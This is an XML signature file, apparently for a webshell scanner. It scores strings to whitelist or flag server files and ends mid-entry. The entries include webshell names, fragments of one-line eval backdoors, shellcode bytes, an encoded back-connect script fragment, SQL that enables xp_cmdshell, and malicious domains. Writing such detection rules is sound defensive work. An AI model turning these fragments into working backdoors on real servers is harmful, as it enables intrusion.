web-shell.xml

<LEX>
    <Isparser>0</Isparser>
    <Version>20140318-1</Version>
    <whitelist>
        <threshold>70</threshold>
        <ITEM>STR>Web Framework Event Handlers</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>IISLogFileGUIDToENName</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>!--#include file="</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>require(dirname(__FILE__)</STR><NUM>20</NUM></ITEM>
        <ITEM><STR>"../inc/</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>WScript\.shell|PHP\s?Shell|Eval\sPHP\sCode</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>thinkphp.cn All rights reserved</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>Public GIF89a</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>base64_decode|\beval\(gzdecode|\beval\((\$_POST|\$_GET|\$_COOKIE)</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>KFwkXyhHRVR8UE9TVHxDT09LSUV8UkVRVUVTVCkp</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>require_lib('util/web_util,util/db_util', true)</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>require_once __DIR__.'/../</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>include("../../</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>ImageMagick</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>pdf2htmlEX</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>require("../</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>GIF frame counter</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>include file="../</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>config/</STR><NUM>20</NUM></ITEM>
        <ITEM><STR>"GIF89a</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>\s*?\\$(_POST|_GET|_REQUEST|GLOBALS</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>beval\(gzdecode|\beval\((\$_POST|\$_GET|\$_COOKIE)</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>'GIF89a</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>www.ajiang.net</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>http://www.ajiang.net/products/aspcheck/safe.asp</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>"preg_replace</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>Standard Jet DB</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>www.itlearner.com</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>defined('DIR_SECURE_CONTENT')</STR><NUM>40</NUM></ITEM>
        <ITEM><STR>$GLOBALS['_beginTime']</STR><NUM>40</NUM></ITEM>
        <ITEM><STR><![CDATA[
                <table border=0 width=450 cellspacing=0 cellpadding=0 bgcolor="#3F8805">
                ]]></STR><NUM>70</NUM></ITEM>
        <ITEM><STR>run-tests.php</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>dim virus(1,7),virus_Regx(1,4)</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>href="http://7i24.com</STR><NUM>70</NUM></ITEM>
        <ITEM><STR><![CDATA[<!--#include file = "../]]></STR>aa<NUM>70</NUM></ITEM> 
        <ITEM><STR>| PHP Version 5</STR><NUM>70</NUM></ITEM>
        <ITEM><STR><![CDATA[<!--#include file =]]></STR><NUM>70</NUM></ITEM>
        <ITEM><STR>require_once('include</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>* @author</STR><NUM>20</NUM></ITEM>
        <ITEM><STR>* @license</STR><NUM>10</NUM></ITEM>
        <ITEM><STR>* @copyright</STR><NUM>20</NUM></ITEM>
        <ITEM><STR>#include file="</STR><NUM>70</NUM></ITEM>
        <ITEM><STR> ThinkPHP</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>License: GPLv2</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>.save(request.getParameter("top_session")</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>GIFDecoder</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>exit('Access Denied')</STR><NUM>30</NUM></ITEM>
        <ITEM><STR>if(!defined(</STR><NUM>20</NUM></ITEM>
        <ITEM><STR>if (!defined('THINK_PATH')) exit()</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>= microtime(TRUE);</STR><NUM>30</NUM></ITEM>
        <ITEM><STR>www.nusphere.com</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>$code_generated = new $_GET['code']($_GET['t'],$color_black</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>http://php.net/manual/ru/function.exec.php</STR><NUM>70</NUM></ITEM>
        <ITEM><STR><![CDATA[<!--#include virtual="/ucenter/config/md5.asp"-->]]></STR><NUM>50</NUM></ITEM>
        <ITEM><STR>->"e"."v"."a"."l"'=>'"e"."v"."a"."l"',</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>->webshell'=>'webshell',</STR><NUM>70</NUM></ITEM>
        <ITEM><STR><![CDATA[
                shellcode[]=&nbsp;<br>&quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
                ]]></STR><NUM>70</NUM></ITEM>
        <ITEM><STR>response.Write(987651234-123498765)</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>Znothis(</STR><NUM>70</NUM></ITEM>
        <ITEM><STR>private $webscan_upload="http://upload.webscan.360.cn/index.php";</STR><NUM>70</NUM></ITEM>
    </whitelist>
    <DELETE>
        <threshold>70</threshold>
        <ITEM>
            <STR>JFolder.jsp</STR>
            <NUM>80</NUM>
        </ITEM>
        <ITEM>
            <STR>String k8cmd = new String(binary)</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>private Statement _dbStatement</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>http://www.baidu.com/img/baidu_logo.gif</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>tophack.net</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>langouster_udf.dll</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>public int TdgGU</STR>
            <NUM>40</NUM>
        </ITEM>
        <ITEM>
            <STR>public STRing vbhLn</STR>
            <NUM>30</NUM>
        </ITEM>
        <ITEM>
            <STR>actall{background:#F9F6F4;font-size:14px;border</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>DDOS</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>$back_connect</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>Server.ScriptTimeout=99999999</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>aspmuma.net</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>h4ck2b.com</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>ASPsSsy</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>lpl38.com</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>WwW.MumaSec.TK</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>QQ:185256496</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>ASPXSpy</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>$password</STR>
            <NUM>30</NUM>
        </ITEM>
        <ITEM>
            <STR>UserPass</STR>
            <NUM>30</NUM>
        </ITEM>
        <ITEM>
            <STR>shellname</STR>
            <NUM>40</NUM>
        </ITEM>
        <ITEM>
            <STR>zjjv.com</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>i0day.com</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>$admin['pass']</STR>
            <NUM>40</NUM>
        </ITEM>
        <ITEM>
            <STR>$admin['cookiepath']</STR>
            <NUM>30</NUM>
        </ITEM>
        <ITEM>
            <STR>syw.i11.cc</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>www.4ngel.net</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>Loader'z WEB Shell</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>90sec.org</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>21,80,135,139,445,1433,3306,3389,</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>www.66dy6.com</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>moonudf.dll</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>\Control\Terminal Server\Wds\rdpwd\</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>b374k-shell</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>unlink("90sec.php")</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>qq:80925010</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>baiduqcsf</STR>
            <NUM>40</NUM>
        </ITEM>
        <ITEM>
            <STR>sf.78pa.com/a.js</STR>
            <NUM>40</NUM>
        </ITEM>
        <ITEM>
            <STR>N3tshell</STR>
            <NUM>65</NUM>
        </ITEM>
        <ITEM>
            <STR>backconn</STR>
            <NUM>5</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[<title>PHPJackal]]></STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[2409170736</title>]]></STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[<?php echo $this->smarty_insert_scripts</title>]]></STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>function WSOstripslashes</STR>
            <NUM>20</NUM>
        </ITEM>
        <ITEM>
            <STR>function wsoLogin()</STR>
            <NUM>20</NUM>
        </ITEM>
        <ITEM>
            <STR>function WSOsetcookie</STR>
            <NUM>30</NUM>
        </ITEM>
        <ITEM>
            <STR>www.e23069.com/js1.js</STR>
            <NUM>30</NUM>
        </ITEM>
        <ITEM>
            <STR>moguiruanjian.com</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>eWFob298Z29vZ2xlfGJhaWR1fHNvc298c29nb3V8YmluZ3x5b3VkYW98c29vdWxlfGVhc291fHlpc291fGppa2V8eXVueXVu</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>KJ021320</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>String path=request.getParameter("path")</STR>
            <NUM>40</NUM>
        </ITEM>
        <ITEM>
            <STR>String content=request.getParameter("content")</STR>
            <NUM>40</NUM>
        </ITEM>
        <ITEM>
            <STR>String Pwd</STR>
            <NUM>20</NUM>
        </ITEM>
        <ITEM>
            <STR>System.getProperty("os.name")</STR>
            <NUM>20</NUM>
        </ITEM>
        <ITEM>
            <STR>System.getProperty("os.version"</STR>
            <NUM>20</NUM>
        </ITEM>
        <ITEM>
            <STR>System.getProperty("os.arch")</STR>
            <NUM>20</NUM>
        </ITEM>
        <ITEM>
            <STR>array('files'=>'utils.js,transport.js'</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>ttfc.v5cx.com</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>FormColorBorder="#600000"</STR>
            <NUM>40</NUM>
        </ITEM>
        <ITEM>
            <STR>AmSize="11px"</STR>
            <NUM>20</NUM>
        </ITEM>
        <ITEM>
            <STR>menuColor="#111"</STR>
            <NUM>20</NUM>
        </ITEM>
        <ITEM>
            <STR>mName="</STR>
            <NUM>10</NUM>
        </ITEM>
        <ITEM>
            <STR>SiteURL="</STR>
            <NUM>10</NUM>
        </ITEM>
        <ITEM>
            <STR>Copyright="</STR>
            <NUM>10</NUM>
        </ITEM>
        <ITEM>
            <STR>AD="</STR>
            <NUM>10</NUM>
        </ITEM>
        <ITEM>
            <STR>$sess_cookie = "cyb3rvars";</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>http-equiv=MSThemeCompatible</STR>
            <NUM>40</NUM>
        </ITEM>
        <ITEM>
            <STR>rel=stylesheet type=text/css href=</STR>
            <NUM>40</NUM>
        </ITEM>
        <ITEM>
            <STR>http://www.fa56888.com</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[119489998</title>]]></STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[LANGUAGE = VBScript.Encode</title>]]></STR>
            <NUM>30</NUM>
        </ITEM> 
        <ITEM>
            <STR><![CDATA[UserPass=</title>]]></STR>
            <NUM>40</NUM>
        </ITEM> 
        <ITEM>
            <STR>GIF89a</STR>
            <NUM>50</NUM>
        </ITEM> 
        <ITEM>
            <STR><![CDATA[<%eval request]]></STR>
            <NUM>20</NUM>
        </ITEM> 
        <ITEM>
            <STR>request("maniandajiok")</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[<%execute(request]]></STR>
            <NUM>50</NUM>
        </ITEM> 
        <ITEM>
            <STR>Connection GC(String s)throws Exception{String[] x=s.trim().split</STR>
            <NUM>70</NUM>
        </ITEM> 
        <ITEM>
            <STR>3vww7f6dscedrt0dktbx2rqx5fh9tjdjpg71byr5th6tsbpulbb8gmg3</STR>
            <NUM>70</NUM>
        </ITEM> 
        <ITEM>
            <STR><![CDATA[<title>JspDo Code By Xiao.3]]></STR>
            <NUM>70</NUM>
        </ITEM> 
        <ITEM>
            <STR>String PW_SESSION_ATTRIBUTE = "JspSpyPwd"</STR>
            <NUM>70</NUM>
        </ITEM> 
        <ITEM>
            <STR><![CDATA[<title>string vbhLn="ASPXSpy"]]></STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>1.81949.com/mb/images/style.css</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>www.cc0777.com/mb/images/style.css</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>ttwg.pw/mb/style.css</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[<?php @eval($_POST]]></STR>
            <NUM>20</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[<?eval]]></STR>
            <NUM>20</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[<!--qq5592774 -->]]></STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>0x4D5A90000300000004000</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>853422.134209.20la.com.cn</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>www.0057888.com/mb/images/style.css</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>$infile22 = $folderpath . "page_22.html";</STR>
            <NUM>30</NUM>
        </ITEM>
        <ITEM>
            <STR>$infile21 = $folderpath . "page_21.html";</STR>
            <NUM>30</NUM>
        </ITEM>
        <ITEM>
            <STR>$infile20 = $folderpath . "page_20.html";</STR>
            <NUM>30</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[<TITLE><?php echo $SFileName ?></TITLE>]]></STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>www6661222.com/mb/images/style.css</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>255667.com/mb/public/css/style.css</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>zzelle.com/mb/public/css/style.css</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>FileWriter jshell = null</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[<title>WWW.XXDDOS.COM</title>]]></STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>ack_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPW</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[<?php eval($_POST[]]></STR>
            <NUM>40</NUM>
        </ITEM>
        <ITEM>
            <STR>767002.com/mb/images/style.css</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR> JFIF   </STR>
            <NUM>30</NUM>
        </ITEM>
        <ITEM>
            <STR>background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>bc057.com/css/style.css</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>String strThisFile="JFileMan.jsp"</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5])</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>string='e'.'v'.'a'.'l'.'($g($b($enfile)))','a'</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[<title> Envl PHP Shell]]></STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>// * for any hostname (remember: /setvhost</STR>
            <NUM>50</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[var $config = array("server"=>"]]></STR>
            <NUM>20</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[$this->privmsg($this->config['chan'],"[\2conback\2]: tentando conectando]]></STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>www.828777.com/mb/images/style.css</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>955947.com/mb/2.css</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>23.245.198.139:88/files/style.css</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>\n{ n{7\l{ry}]rvnx~}FBBBBBBBBB</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>97a103a101a110a116a61a114a101a113a117a101a11</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>public br,ygv,gbc,ydo,yka,wzd,sod,vmd</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>21,23,25,79,80,110,135,137,138,139,143,443,445,1433,3306,3389,43958</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[type=index.asp&host="&host_name&"&directory="&Branch_directory]]></STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR><![CDATA[type=index.php&host=".$host_name."&directory=".$Branch]]></STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>cr88888.com/mb/js.js</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>$request_content=GetHtml($Remote_server.'/</STR>
            <NUM>40</NUM>
        </ITEM>
        <ITEM>
            <STR>$arrChar = '012qwertyuiopasdfghjklzxcvbnm3456789';</STR>
            <NUM>40</NUM>
        </ITEM>
        <ITEM>
            <STR>http://www.5738888.com/js/ad2.js</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>http://odayexp.com/h4cker/mmgx/</STR>
            <NUM>70</NUM>
        </ITEM>
        <ITEM>
            <STR>687474703A2F2F3132332E3132352E3131342E38322F6A78666275636B657432303134312F6861636B2F312E6A7067</STR>
            <NUM>70</NUM>
        </ITEM>
    </DELETE>
    <language>
        <processor>com.alibaba.security.aegis.webshell.checker.impl.DefaultWebShellChecker</processor>
        <threshold>70</threshold>
        <WEBSHELL>
            <ITEM>
                <STR>gif87a</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>Then Execute(Session("lcx"</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>Response.Write(eval(Request.ITEM</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>GetObject("IIS://127.0.0.1/W3SVC/"</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>By Marcos</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>chopper</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>HYTop.mdb</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>C:\\Progra~1</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>Servu</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>LyfUpload.UploadFile</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>cmd.exe</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>ServerVariables("SERVER_SOFTWARE")</STR>
                <NUM>5</NUM>
            </ITEM>
            <ITEM>
                <STR>Environment.GetLogicalDrives</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>Evilspy</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>GetObject("WinNT://</STR>
                <NUM>50</NUM>
            </ITEM>
            <ITEM>
                <STR>webshell</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>WebAdmin2Y.x.y("add6bb58e139be10")</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>lake2</STR>
                <NUM>30</NUM>
            </ITEM>
            <ITEM>
                <STR>.GetFolder(</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>Password</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>UserPass</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>VBScript.encode</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>.CreateTextFile</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>ipconfig -all</STR>
                <NUM>30</NUM>
            </ITEM>
            <ITEM>
                <STR>kj021320</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>unhonker.com</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>xiaf.info</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>22dm.net</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>cmd.exe /c</STR>
                <NUM>50</NUM>
            </ITEM>
            <ITEM>
                <STR>RegEdit.exe /e</STR>
                <NUM>50</NUM>
            </ITEM>
            <ITEM>
                <STR>/bin/sh</STR>
                <NUM>30</NUM>
            </ITEM>
            <ITEM>
                <STR>net user</STR>
                <NUM>30</NUM>
            </ITEM>
            <ITEM>
                <STR>STRing jksessionpass</STR>
                <NUM>30</NUM>
            </ITEM>
            <ITEM>
                <STR>ASPYDrvsInfo</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>.CopyFolder</STR>
                <NUM>5</NUM>
            </ITEM>
            <ITEM>
                <STR>.deletefile</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>.ComputerName</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>.CopyFile</STR>
                <NUM>5</NUM>
            </ITEM>
            <ITEM>
                <STR>LocalAdminiSTRator</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>Serv-U</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>System.Environment.SystemDirectory</STR>
                <NUM>30</NUM>
            </ITEM>
            <ITEM>
                <STR>System.Net.Sockets</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>System.Diagnostics</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>System.DirectoryServices</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>System.ServiceProcess</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>new Socket(</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>Runtime.getRuntime(</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>xp_cmdshell</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>Microsoft.XMLHTTP</STR>
                <NUM>5</NUM>
            </ITEM>
            <ITEM>
                <STR>System.Reflection.Assembly.Load(Request.BinaryRead</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>WScript.Shell</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>FileOutputSTReam</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>72C24DD5-D70A-438B-8A42-98424B88AFB8</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>F935DC22-1CF0-11D0-ADB9-00C04FD58A0B</STR>
                <NUM>30</NUM>
            </ITEM>
            <ITEM>
                <STR>13709620-C279-11CE-A49E-444553540000</STR>
                <NUM>30</NUM>
            </ITEM>
            <ITEM>
                <STR>093FF809-1EA0-4079-9525-9614C3504B74</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>F935DC26-1CF0-11D0-ADB9-00C04FD58A0B</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>0D43FE01-F093-11CF-8940-00A0C9054228</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>Scripting.FileSystemObject</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>ADODB.STReam</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>BackDoor</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>command.com</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>uploadvirus</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>s;xvj4kjmx}4LkYMb@#@&amp;?4kUlU6(L/D.P{PI2sl1+v?4kjC</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>hack.cctve.cn</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>fuckanquangoutezheng</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>OleDbConnection(session("DBC")) inSTR(DB_CSTRing.Text,":\")</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>sk8t9hSDALYDYBi0HCaGRxSgH5KgABYDYBg4Q</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>crypt_PRO="0mWm2/,5</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>WICXlQa33rNDnBUKHvXcMsQmWDL4e</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>#@~^k0oAAA==@#@&amp;D]kJ@!tYsV@*@!</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>$adminport=43958;</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>SessionName="ASPXSpy";</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>Call oS.Run("win.com cmd.exe /c del "&amp; szTF,0,True)</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>-SETDOMAIN"&amp;vbcrlf&amp;"-Domain=cctv|0.0.0.0|43859|-1|1|0"</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>ShowFolder("C:\\RECYCLER</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://127.0.0.1:"&amp;port&amp;"/goldsun/upadmin/s1</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>Addxp_cmdshell(SQL2005)</STR>
                <NUM>60</NUM>
            </ITEM>
            <ITEM>
                <STR>awen asp.net webshell</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>void cmdExe_Click(object sender, System.EventArgs e)</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>AK-74 Security Team Web Shell</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;\</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>Private Function ConvertBinary(ByVal SourceNumber, ByVal MaxValuePerIndex, ByVal MinUpperBound, ByVal IndexSeperator)</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>Rp=Co&amp;"?pw="&amp;Server.URlEncode(Request("jl"))&amp;"&amp;ib="&amp;Request("ib")</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>1902E59F7273E1902E597A18C51902E59AC1E8F1902E5B554FC41902E5AD8414B19</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>s"&amp;"cri"&amp;"pting"&amp;"."&amp;"Fil"&amp;"eSy"&amp;"stemO"&amp;"bject</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>spider,robot,Baidu,Google,360spider,sogou,soso</STR>
                <NUM>60</NUM>
            </ITEM>
            <ITEM>
                <STR>googlebot|baiduspider|sogou|yahoo|soso</STR>
                <NUM>60</NUM>
            </ITEM>
            <ITEM>
                <STR>,"baiduspider","yahoo! slurp","inktomi","msnbot","</STR>
                <NUM>60</NUM>
            </ITEM>
            <ITEM>
                <STR>bfafsfef6f4f_ffdffeffcffoffdffef</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>createobject("S"+"cr"+"ipt"+"ing"+".f"+"il"+"es"+"ys"+"tem"+"ob"+"jec"+"t")</STR>
                <NUM>80</NUM>
